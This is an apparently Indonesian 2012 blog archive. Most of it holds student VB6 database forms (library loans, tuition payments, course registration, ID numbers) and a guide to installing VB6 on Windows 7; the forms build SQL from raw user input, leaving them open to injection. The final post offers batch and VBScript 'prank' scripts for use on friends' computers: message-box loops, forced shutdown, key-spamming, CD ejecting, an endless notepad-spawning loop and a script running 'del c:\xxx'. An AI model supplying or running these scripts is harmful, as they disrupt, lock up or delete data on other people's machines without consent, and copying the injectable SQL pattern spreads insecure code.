Sunday, 24 June 2012

Code Program VB [PERPUSTAKAAN] menggunakan true data grid dan Crystal Report

Dim konek As String
Dim kon As New ADODB.Connection
Dim rkp, pg, rsem, rmhs, rs, rmt, rdel, kem, rkem, rsim, rp, cek, rcek, rg, rh As Recordset
Dim kg, jk As String


Private Sub Command4_Click()
Set rsim = New ADODB.Recordset
rsim.Open "select * from sem", kon, adOpenKeyset, adLockReadOnly
rsim.MoveFirst
While rsim.EOF = False
Set rs = New ADODB.Recordset
rs.Open "select * from pinjam", kon, adOpenKeyset, adLockBatchOptimistic
rs.AddNew
rs!kodepinjam = kp
rs!tglpinjam = rsim!tglpinjam
rs!tglpengembalian = rsim!tglpengembalian
rs!kodeanggota = kd
rs!namaanggota = nama
rs!kodebuku = rsim!kodebuku
rs!judul = rsim!judul
rs.UpdateBatch adAffectAllChapters
rsim.MoveNext
Wend
Command6_click
Form_Load
dg.Refresh
End Sub


Private Sub Command7_Click()
Set rkem = New ADODB.Recordset
rkem.Open "select * from pinjam where kodepinjam = '" & Trim(kp) & "'", kon, adOpenKeyset, adLockReadOnly
rkem.MoveFirst
While rkem.EOF = False
Set kem = New ADODB.Recordset
kem.Open "select * from kembali", kon, adOpenKeyset, adLockBatchOptimistic
kem.AddNew
kem!kodekembali = Text4
kem!kodepinjam = kp
kem!kodeanggota = kd
kem!namaanggota = nama
kem!kodebuku = rkem!kodebuku
kem!judul = rkem!judul
kem!tglpinjam = rkem!tglpinjam
kem!tglpengembalian = rkem!tglpengembalian
kem!denda = Val(Text1)
kem!tgldikembalikan = Text2
kem.UpdateBatch adAffectAllChapters
rkem.MoveNext
Wend
Command6_click
Form_Load
dg.Refresh
End Sub


Private Sub Command8_Click()
crp.ReportFileName = (App.Path & "\rpinjam.rpt")
crp.SelectionFormula = "{pinjam.kodepinjam} = '" & Trim(kp) & "'"
crp.RetrieveDataFiles
crp.WindowState = crptMaximized
crp.Action = 1
End Sub


Private Sub Command9_Click()
crp.ReportFileName = (App.Path & "\rkembali.rpt")
crp.SelectionFormula = "{kembali.kodepinjam} = '" & Trim(kp) & "'"
crp.RetrieveDataFiles
crp.WindowState = crptMaximized
crp.Action = 1
End Sub


Private Sub Form_Load()
Frame1.Visible = False
konek = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:\STMIK 2011\SEMESTER 2\PEMROGRAMAN BASIS DATA 1\Tugas UAS\tugas.mdb;Persist Security Info=False"
Set kon = New ADODB.Connection
kon.Open konek
kon.CursorLocation = adUseClient
Call hapus
Set rdel = New ADODB.Recordset
rdel.Open "select * from sem", kon, adOpenDynamic, adLockOptimistic
Set dg.DataSource = rdel
dg.Columns(0).Width = 1000
dg.Columns(1).Width = 4800
dg.Columns(2).Width = 1200
dg.Columns(3).Width = 1500
Call ksg
End Sub


Private Sub kd_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Set cek = New ADODB.Recordset
cek.Open "select * from kembali where kodeanggota = '" & Trim(kd) & "'", kon, adOpenKeyset, adLockReadOnly
If cek.EOF = True Then
Set rcek = New ADODB.Recordset
rcek.Open "select * from pinjam where kodeanggota = '" & Trim(kd) & "'", kon, adOpenKeyset, adLockReadOnly
If rcek.EOF = False Then
MsgBox ("Anggota Tersebut Belum Mengembalikan Buku")
End If
End If
kd.SetFocus
Set rmhs = New ADODB.Recordset
rmhs.Open "select * from anggota where kode = '" & Trim(kd) & "'", kon, adOpenKeyset, adLockReadOnly
If rmhs.EOF = False Then
nama = rmhs!nama
dg.SetFocus
Else
MsgBox ("Kode Tersebut Tidak Ada")
kd = ""
kd.SetFocus
End If
End If
End Sub


Private Sub dg_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
If dg.Col = 0 Then
Set rmt = New ADODB.Recordset
rmt.Open "select * from buku where kodebuku = '" & Trim(dg.Columns.Item(0)) & "'", kon, adOpenKeyset, adLockReadOnly
If rmt.EOF = False Then
dg.Columns.Item(1) = rmt!judul
dg.Columns.Item(2) = Format(Now(), "dd/mm/yyyy")
For t = 1 To rdel.RecordCount
dg.Columns.Item(3) = Format(Now + (t * 7), "dd/mm/yyyy")
Next t
For a = 0 To dg.Row + 1
dg.Row = a
Next a
dg.Col = 0
Else
MsgBox ("buku tsb GAK ADA")
dg.Col = 0
End If
End If
End If
End Sub


Private Sub ksg()
kd = ""
nama = ""
Text2 = Format(Now, "dd/mm/yyyy")
Text1 = ""
End Sub


Private Sub Command1_click()
Frame1.Visible = True
Label3.Visible = False
Text4.Visible = False
Label4.Visible = False
Command1.Visible = False
Command2.Visible = False
Command3.Visible = False
Label6.Visible = False
Label5.Visible = False
Text2.Visible = False
Text1.Visible = False
Command7.Visible = False
Line2.Visible = False
Line3.Visible = False
Command9.Visible = False
Command8.Visible = False
ksg
kd.SetFocus
otomat
End Sub


Private Sub Command2_click()
Frame1.Visible = True
Label3.Visible = True
Text4.Visible = True
Label4.Visible = False
Command1.Visible = False
Command2.Visible = False
Command3.Visible = False
Label5.Visible = True
Text2.Visible = True
Label6.Visible = True
Text1.Visible = True
Command7.Visible = True
Line2.Visible = True
Line3.Visible = True
Command8.Visible = True
Command9.Visible = True
ksg
kp = ""
kp.SetFocus
otomat2
End Sub


Private Sub Command3_Click()
End
End Sub


Private Sub Command5_Click()
dg.MovePrevious
dg.SetFocus
End Sub


Private Sub Command6_click()
Frame1.Visible = False
Label4.Visible = True
Command1.Visible = True
Command2.Visible = True
Command3.Visible = True
End Sub


Private Sub otomat()
no = Val(Right(kp, 3)) + 1
If no < 10 Then
kp = "kp" & "00" & no
ElseIf no < 100 Then
kp = "kp" & "0" & no
ElseIf no < 1000 Then
kp = "kp" & no
End If
End Sub


Private Sub otomat2()
no = Val(Right(Text4, 3)) + 1
If no < 10 Then
Text4 = "kk" & "00" & no
ElseIf no < 100 Then
Text4 = "kk" & "0" & no
ElseIf no < 1000 Then
Text4 = "kk" & no
End If
End Sub


Private Sub hapus()
Set rsem = New ADODB.Recordset
rsem.Open "delete * from sem", kon, adOpenKeyset, adLockBatchOptimistic
Set dg.DataSource = rsem
End Sub


Private Sub kp_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Set rp = kon.Execute("select * from pinjam where kodepinjam like '%" & Trim(kp) & "%'")
dg.Refresh
Set dg.DataSource = rp
Set rc = New ADODB.Recordset
rc.Open "select * from pinjam where kodepinjam like '" & Trim(kp) & "'", kon, adOpenKeyset, adLockReadOnly
If rc.EOF = False Then
kd = rc!kodeanggota
nama = rc!namaanggota
dg.SetFocus
For a = 0 To dg.Row + 1
dg.Row = a
Next a
dg.Col = 3
If Val(Mid(Text2, 4, 2)) < Val(Mid(dg.Columns.Item(3), 4, 2)) Then
Text1 = "0"
Else
If Text2 > dg.Columns.Item(3) Then
z = Val(Text2) - Val(dg.Columns.Item(3))
Text1 = z * 200
End If
End If
Else
MsgBox ("data gak ada")
kp = ""
kp.SetFocus
End If
End If
End Sub

Code Program VB SPP menggunakan true data grid

Dim kon As New ADODB.Connection
Dim rbyr, rsim, rs, rdel, rsem, rmhs, rspp, rb As Recordset
Dim bl As String


Private Sub Command1_Click()
Set rsim = New ADODB.Recordset
rsim.Open "select * from bayar", kon, adOpenKeyset, adLockBatchOptimistic
For a = 1 To Val(Text6)
  bl = Val(bl) + 1
  If bl < 10 Then bl = "0" & Trim(Str(bl))
  rsim.AddNew
  rsim!nim = Text1
  rsim!blth = bl & Format(tgl, "yy")
  rsim!tglb = Format(Now(), Date)
  rsim.UpdateBatch adAffectAllChapters
Next a
dg.DataSource = rsim
ksg
End Sub


Private Sub Form_Load()
konek = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:\STMIK 2011\SEMESTER 2\PEMROGRAMAN BASIS DATA 1\spp\spp.mdb;Persist Security Info=False"
Set kon = New ADODB.Connection
kon.Open konek
kon.CursorLocation = adUseClient
Set rdel = New ADODB.Recordset
rdel.Open "select * from bayar", kon, adOpenDynamic, adLockOptimistic
Set dg.DataSource = rdel
ksg
End Sub


Private Sub Text1_KeyPress(KeyAscii As Integer)
Dim b, t As String
If KeyAscii = 13 Then
  Set rmhs = New ADODB.Recordset
  rmhs.Open "Select * From mhs where nim = '" & Trim(Text1) & "'", kon, adOpenKeyset, adLockReadOnly
  If rmhs.EOF = False Then
   Text2 = rmhs!nama
   Set rspp = New ADODB.Recordset
   rspp.Open "Select * From mspp where right(tahun,2) = '" & Mid(Text1, 2, 2) & "'", kon, adOpenKeyset, adLockReadOnly
   Text3 = rspp!nominal & "00"
   Set rb = New ADODB.Recordset
   rb.Open "Select * From bayar where nim = '" & Trim(Text1) & "' order by blth desc", kon, adOpenKeyset, adLockReadOnly
   If rb.RecordCount = 0 Then
    Text4 = ""
    bl = Format(tgl, "mm")
   Else
    bl = Left(rb!blth, 2)
    t = Right(rb!blth, 2)
    Text4 = "bulan " & bl & " tahun " & t
    If bl = Format(tgl, "mm") And t = Format(tgl, "yy") Then
     ket = "LUNAS"
    ElseIf Val(bl) < Val(Format(tgl, "mm")) Then
     Text5 = Val(Format(tgl, "mm")) - Val(bl)
     ket = "kurang " & Text5 & " bulan"
     Text6 = Text5
     Text7 = Val(Text3) * Val(Text6)
    ElseIf Val(t) < Val(Format(tgl, "yy")) Then
     Text5 = 12 - Val(Format(tgl, "mm")) + Val(bl)
     ket = "kurang " & Text5 & " bulan"
     Text6 = Text5
     Text7 = Val(Text3) * Val(Text6)
    End If
    End If
    Text6.SetFocus
   Else
    MsgBox ("NIM tsb TIDAK ADA, ULANGI !!!")
    Text1 = ""
    Text1.SetFocus
  End If
  ElseIf Val(Text6) > Val(Text5) Then
     Text7 = Val(Text3) * Val(Text6)
  End If
End Sub


Private Sub ksg()
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
Text5 = ""
Text6 = ""
Text7 = ""
ket = ""
tgl = Format(Now(), ddmmyyyy)
dg.Columns(0).Width = 1500
dg.Columns(1).Width = 1200
dg.Columns(2).Width = 2000
End Sub

Monday, 28 May 2012

Code Program VB KRS mahasiswa menggunakan true data grid

Dim konek As String
Dim kon As New ADODB.Connection
Dim rsim, rs, rdel, rsem, rmhs, rmt As Recordset
Dim kg, jk As String


Private Sub Command1_Click()
Set rsim = New ADODB.Recordset
rsim.Open "select * from sem", kon, adOpenKeyset, adLockReadOnly
rsim.MoveFirst
While rsim.EOF = False
Set rs = New ADODB.Recordset
rs.Open "select * from KRS", kon, adOpenKeyset, adLockBatchOptimistic
rs.AddNew
rs!thakd = ta
rs!nim = nim
rs!kdmk = rsim!kode
rs!nilai = 0
rs.UpdateBatch adAffectAllChapters
rsim.MoveNext
Wend
Form_Load
End Sub


Private Sub Form_Load()
konek = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\mhs.mdb;Persist Security Info=False"
Set kon = New ADODB.Connection
kon.Open konek
kon.CursorLocation = adUseClient
hapus
Set rdel = New ADODB.Recordset
rdel.Open "select * from sem", kon, adOpenDynamic, adLockOptimistic
Set dg.DataSource = rdel
dg.Columns(0).Width = 1000
dg.Columns(1).Width = 5800
dg.Columns(2).Width = 700
dg.Columns(2).Alignment = 1
ksg
End Sub


Private Sub nim_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Set rmhs = New ADODB.Recordset
rmhs.Open "select * from mahasiswa where nim = '" & Trim(nim) & "'", kon, adOpenKeyset, adLockReadOnly
If rmhs.EOF = False Then
nama = rmhs!nama
dg.SetFocus
Else
MsgBox ("nim tsb gak ada")
nim = ""
nim.SetFocus
End If
End If
End Sub


Private Sub dg_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
If dg.Col = 0 Then
Set rmt = New ADODB.Recordset
rmt.Open "select * from mata where kode = '" & Trim(dg.Columns.Item(0)) & "'", kon, adOpenKeyset, adLockReadOnly
If rmt.EOF = False Then
dg.Columns.Item(1) = rmt!nama
dg.Columns.Item(2) = rmt!sks
jsks = Val(jsks) + rmt!sks
dg.Col = 2
Else
MsgBox ("Kode Matakuliah tsb GAK ADA")
dg.Col = 0
End If
ElseIf dg.Col = 2 Then
jsks = Val(dg.Columns.Item(2)) * Val(dg.Columns.Item(0))
End If
End If
End Sub


Private Sub ksg()
ta = "2012"
nim = ""
nama = ""
kd = ""
nkd = ""
sks = ""
jsks = ""
End Sub


Private Sub hapus()
Set rsem = New ADODB.Recordset
rsem.Open "delete * from sem", kon, adOpenKeyset, adLockBatchOptimistic
Set dg.DataSource = rsem
End Sub

Tuesday, 15 May 2012

Code Program VB [KRS Mahasiswa]

Dim konek As String
Dim kon As New ADODB.Connection
Dim rdel, rsem, rmhs, rmt As Recordset
Dim kg, jk As String


Private Sub Command2_Click()
Set rsem = New ADODB.Recordset
rsem.Open "select * from sem", kon, adOpenKeyset, adLockBatchOptimistic
rsem.AddNew
rsem!kode = tkd
rsem!nama = tma
rsem!sks = tsks
rsem.UpdateBatch adAffectAllChapters
End Sub


Private Sub tkd_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
  Set rmt = New ADODB.Recordset
  rmt.Open "select * from mata where kode = '" & Trim(tkd) & "'", kon, adOpenKeyset, adLockReadOnly
  If rmt.EOF = False Then
     tma = rmt!nama
     tsks = rmt!sks
     Command2.SetFocus
  Else
     MsgBox ("Kode Matakuliah tsb GAK ADA")
     tkd = ""
     tkd.SetFocus
  End If
End If
End Sub


Private Sub Form_Load()
konek = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\kul.mdb;Persist Security Info=False"
Set kon = New ADODB.Connection
kon.Open konek
kon.CursorLocation = adUseClient
Set rdel = New ADODB.Recordset
rdel.Open "delete from sem", kon, adOpenKeyset, adLockBatchOptimistic
ksg
End Sub


Private Sub ksg()
tak = Format(Now(), "yyyy") & "1"
tnim = ""
tnm = ""
tkd = ""
tma = ""
tsks = ""
jsks = ""
End Sub


Private Sub tnim_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
  Set rmhs = New ADODB.Recordset
  rmhs.Open "select * from mhs where nim = '" & Trim(tnim) & "'", kon, adOpenKeyset, adLockReadOnly
  If rmhs.EOF = False Then
     tnm = rmhs!nama
     tkd.SetFocus
  Else
     MsgBox ("NIM tsb GAK ADA")
     tnim = ""
     tnim.SetFocus
  End If
End If
End Sub

Thursday, 10 May 2012

Cara Install Visual Basic 6.0 di Windows 7

Cara Install Visual Basic 6.0 di Windows 7

1. Cari file setup.exe pada master setup vb6
2. Klikkanan setup.exe danpilih Properties
3.Atur Properties File setup.exe sepertigambar di bawahini :

http://xbasicpro.com/gbr/vb6win7a.JPG
Lalutekantombol OK 
4. Double click file setup.exe, Klik Run Program (lihatgambar di bawahini):
 http://xbasicpro.com/gbr/vb6win7b.JPG


MENGINSTALL VISUAL BASIC 6.0 DI WINDOWS 7 ULTIMATE

Posted: 17 Mei 2010 in Tutorial

1.        Pada folder VB 6à Setup.exe nya di klikkananpilih properties..

http://adberto.files.wordpress.com/2010/05/051710_1429_menginstall1.png?w=614 









1.        KemudianpilihCompability..
http://adberto.files.wordpress.com/2010/05/051710_1429_menginstall2.png?w=614 













1.        Setelahsetinganberikutdisesuaikan, klik OK..
http://adberto.files.wordpress.com/2010/05/051710_1429_menginstall3.png?w=614 











1.        Kemudiankembalike Folder VB tadipilih Sub Folder VB98 Ã  kikkananpilih properties .., danikutisepertigambar di bawah..
http://adberto.files.wordpress.com/2010/05/051710_1429_menginstall4.png?w=614 










1.        KemudianLakukanpenginstalansepertibiasa, danjikaperingatanberikutmunculpilih Run Program ya..
http://adberto.files.wordpress.com/2010/05/051710_1429_menginstall5.png?w=614 






1.        Setelahselesai, cobabuka VB nyadengancarasepertiGambar di bawah ..

http://adberto.files.wordpress.com/2010/05/051710_1429_menginstall6.png?w=614 









Semogamembantu..:)

Program Visual Basic [NIP PENDUDUK]

Dim sambung, j As String
Dim kon As New ADODB.Connection


Private Sub Command1_Click()
Set kos = New ADODB.Recordset
kos.Open "penduduk", kon, adOpenKeyset, adLockBatchOptimistic
kos.AddNew
kos!nama = nm
kos!nip = nip
kos.UpdateBatch adAffectAllChapters
Set dg.DataSource = kos
End Sub


Private Sub Form_Load()
sambung = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\penduduk.mdb;Persist Security Info=False"
Set kon = New ADODB.Connection
kon.Open sambung
kon.CursorLocation = adUseClient
Set rpen = New ADODB.Recordset
rpen.Open "penduduk", kon, adOpenKeyset, adLockBatchOptimistic
Set dg.DataSource = rpen
nm = ""
tgl = Format(Now(), ddmmyy)
kota = "PILIH DISINI"
nip = ""
End Sub


Private Sub kota_lostfocus()
otomat
End Sub


Private Sub tgl_lostfocus()
otomat
End Sub


Private Sub otomat()
kd = Trim(Str(kota.ListIndex)) & Trim(Format(tglh, "ddmmyy"))
Set rg = New ADODB.Recordset
rg.Open "select * from penduduk where left(nip,7)='" & Trim(kd) & "'", kon, adOpenKeyset
If rg.RecordCount = 0 Then
nip = kd & "01"
Else
rg.MoveLast
no = Val(Right(rg!nip, 2)) + 1
If no < 10 Then
nip = kd & "0" & Trim(Str(no))
Else
nip = kd & Trim(Str(no))
End If
End If
Set dg.DataSource = rg
End Sub


Wednesday, 9 May 2012

Code Program VB [NIM mahasiswa]


Dim sambung, j As String
Dim kon As New ADODB.Connection
Dim vnim As New ADODB.Recordset


Private Sub Command1_Click()
Set rsim = New ADODB.Recordset
rsim.Open "formulir", kon, adOpenKeyset, adLockBatchOptimistic
rsim.AddNew
rsim!progdi = ps.ListIndex + 1
rsim!nim = tnim
rsim!nama = nama
rsim!tgllhr = tl
If op.Value = True Then
rsim!jk = 1
Else
rsim!jk = 0
End If
rsim!agama = agm.ListIndex + 1
rsim!alamat = alm
rsim!hp = hp
rsim.UpdateBatch adAffectAllChapters
Set dg.DataSource = rsim
End Sub


Private Sub Form_Load()
sambung = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\tgs.mdb;Persist Security Info=False"
Set kon = New ADODB.Connection
kon.Open sambung
kon.CursorLocation = adUseClient
Set rfor = New ADODB.Recordset
rfor.Open "formulir", kon, adOpenKeyset, adLockBatchOptimistic
Set dg.DataSource = rfor
ps.ListIndex = 0
tnim = ""
nama = ""
agm.ListIndex = 0
alm = ""
hp = ""
Label2.Caption = Format(Now(), "dddd, dd mmmm yyyy")
End Sub


Private Sub ps_LostFocus()
n = 1
If ps.ListIndex = 1 Then
 j = "2"
ElseIf ps.ListIndex = 2 Then
 j = "3"
Else
 j = "1"
End If
Set rfor = kon.Execute("select * from formulir where mid(nim,5,1)='" & j & "'")
If rfor.RecordCount = 0 Then
tnim = "2" & Format(Now(), "yy") & "7" & j & "0000" & n
Else
   rfor.MoveLast
n = Val(Right(rfor!nim, 5)) + 1
If n < 10 Then
  tnim = "2" & Format(Now(), "yy") & "7" & j & "0000" & n & ""
ElseIf n < 100 Then
  tnim = "2" & Format(Now(), "yy") & "7" & j & "000" & n & ""
ElseIf n < 1000 Then
  tnim = "2" & Format(Now(), "yy") & "7" & j & "00" & n & ""
Else
tnim = "2" & Format(Now(), "yy") & "7" & j & "0" & n & ""
End If
End If
End Sub

Wednesday, 18 April 2012

Crip "JAIL" dengan Notepad

crip Jail Terbaru 2011

Ini dia perbuatan yang kadang bikin bingung tapi menyenangkan khususnya untuk teknologi jaman sekarang pada Notepad.
Kali ini saya akan share buat sobat tentang tutorila membuat Scrip Jail paling mantep menggunakan Notepad. Caranya juga sangat simple dan mudah , Siapapun juga bisa membuat scrip jail ini. Biasanya sih Scrip ini untuk jailin teman di komputernya , Contohnya saja membuat virus di komputer dengan Script di Notepat.
Menurut saya sih ini bukan virus, Tetapi hanya script texs untuk jailin teman saja, nah saya langsung share aja yuk di bawah ini:

1. Tips bikin Virus Dengan Notepat
 @ECHO off
 :Begin
 msg * Jontor Virus Beraksi
 msg * Muka lo jelek – ngaca dulu gih
 msg * hayo lo,cupu lu gw acak2
 msg * ud install ulang aja
 msg * biar masalah nya kelar
 GOTO BEGIN
save namafile.BAT (ekstensi filenya harus .BAT) Simpan dalam notepat.
2. Cara membuat shutdown+message
Code:
 [i]@echo off
 msg * apaan sih lo
 shutdown -s -c “Error! muka mu standar abis”
save namafile.BAT (ekstensi filenya harus .BAT) Simpan dalam notepat.
3. Cara Mainin Caps Lock button
Code:
 [i]Set wshShell =wscript.CreateObject(“WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “{CAPSLOCK}”
 loop
save namafile.vbs[/i] (save dengan Ekstensi file .vbs) simpan dalam notepat.
4. Cara buka tutup CD/DVD
[i]Code:
 Set oWMP = CreateObject(“WMPlayer.OCX.7?)
 Set colCDROMs = oWMP.cdromCollection
 do
 if colCDROMs.Count >= 1 then
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 End If
 wscript.sleep 5000
 loop
save namafile.vbs[/i] (save dengan Ekstensi file .vbs) simpan dalam notepat.
5. Cara bikin vbscript nongol mlulu
Code:
[i]Set wshShell = wscript.CreateObject(“WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “~(
enter)”
 loop

save namafile.vbs ket:di task manager full wscript yg lg running [/i]

6. Cara bikin teken tombol backspace melulu
Code:
 [i]MsgBox “kembali ke menu sebelumnya”
 Set wshShell =wscript.CreateObject(“WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “{bs}”
 loop
save namafile.vbs [/i] simpan di dalam notepat
7. Cara bikin otomatis ngetik “lu jelek banget sih” di notepad/word
Code:
 [i]Set wshShell = wscript.CreateObject(“WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “lu jelek banget sih!!!”
 loop
save namafile.vbs simpan di dalam notepat
8. Cara bikinbuka notepad trus menerus
Code:
 @ECHO off
 :top
 START %SystemRoot%\system32\notepad.exe
 GOTO top
 save namafile.BAT
 ket:termasuk yang ngeselin banget nih
 bisa di ganti,terserah mau buka cmd ato buka yg lain..ganti aja dir nya.
 [/i]
9. Cara bikin otomatis buka notepad lalu ngetik apa yg lo mau
Code:
 [i]WScript.Sleep 1800
 WScript.Sleep 100
 Set WshShell = WScript.CreateObject(“WScript.Shell”)
 WshShell.Run “notepad”
 WScript.Sleep 10
 WshShell.AppActivate “Notepad”
 WScript.Sleep 50
 WshShell.SendKeys “ka”
 WScript.Sleep 50
 WshShell.SendKeys “mu “
 WScript.Sleep 50
 WshShell.SendKeys “je”
 WScript.Sleep 50
 WshShell.SendKeys “le”
 WScript.Sleep 50
 WshShell.SendKeys “k “
 WScript.Sleep 50
 WshShell.SendKeys ” se”
 WScript.Sleep 50
 WshShell.SendKeys “ka”
 WScript.Sleep 50
 WshShell.SendKeys “li”
 WScript.Sleep 50
 WshShell.SendKeys ” y”
 WScript.Sleep 50
 WshShell.SendKeys “a”
 WScript.Sleep 50
 WshShell.SendKeys ” h”
 WScript.Sleep 50
 WshShell.SendKeys “!”
 WScript.Sleep 50
 WshShell.SendKeys “!! “
 
save namafile.vbs 
 ke t:
 ini salah satu script favorit gw…
 [/i][i]10.@echo off
 title 
quiz hari ini
 :menu
 cls
 echo 
jika kamu kena virus apa yang kamu lakukan
 pause
 echo pilih yang mana:
 echo 1. matiin computer
 echo 2. format aja
 echo 3. bingung ahh
 set input=nothing
 set /p input=Choice:
 if %input%==1 shutdown -s -t 30
 if %input%==2 del c:\xxx
 if %input%==3 @ECHO off
 msg * muka lo jelek
 msg * ngaca dulu gih
 msg * hayo lo,cpu lu gw acak2
 msg * ud install ulang aja
 msg * biar masalah nya kelar
 @ECHO off
 :top
 START %SystemRoot%\system32\notepad.exe
 GOTO top[/i]

Nah code-code di atas adalah kumpulan Script Jail Paling Mantep yang saya miliki, Semoga terhibur.
Selamat mencoba dan semoga berhasil.
Sumber:www.softwareall.info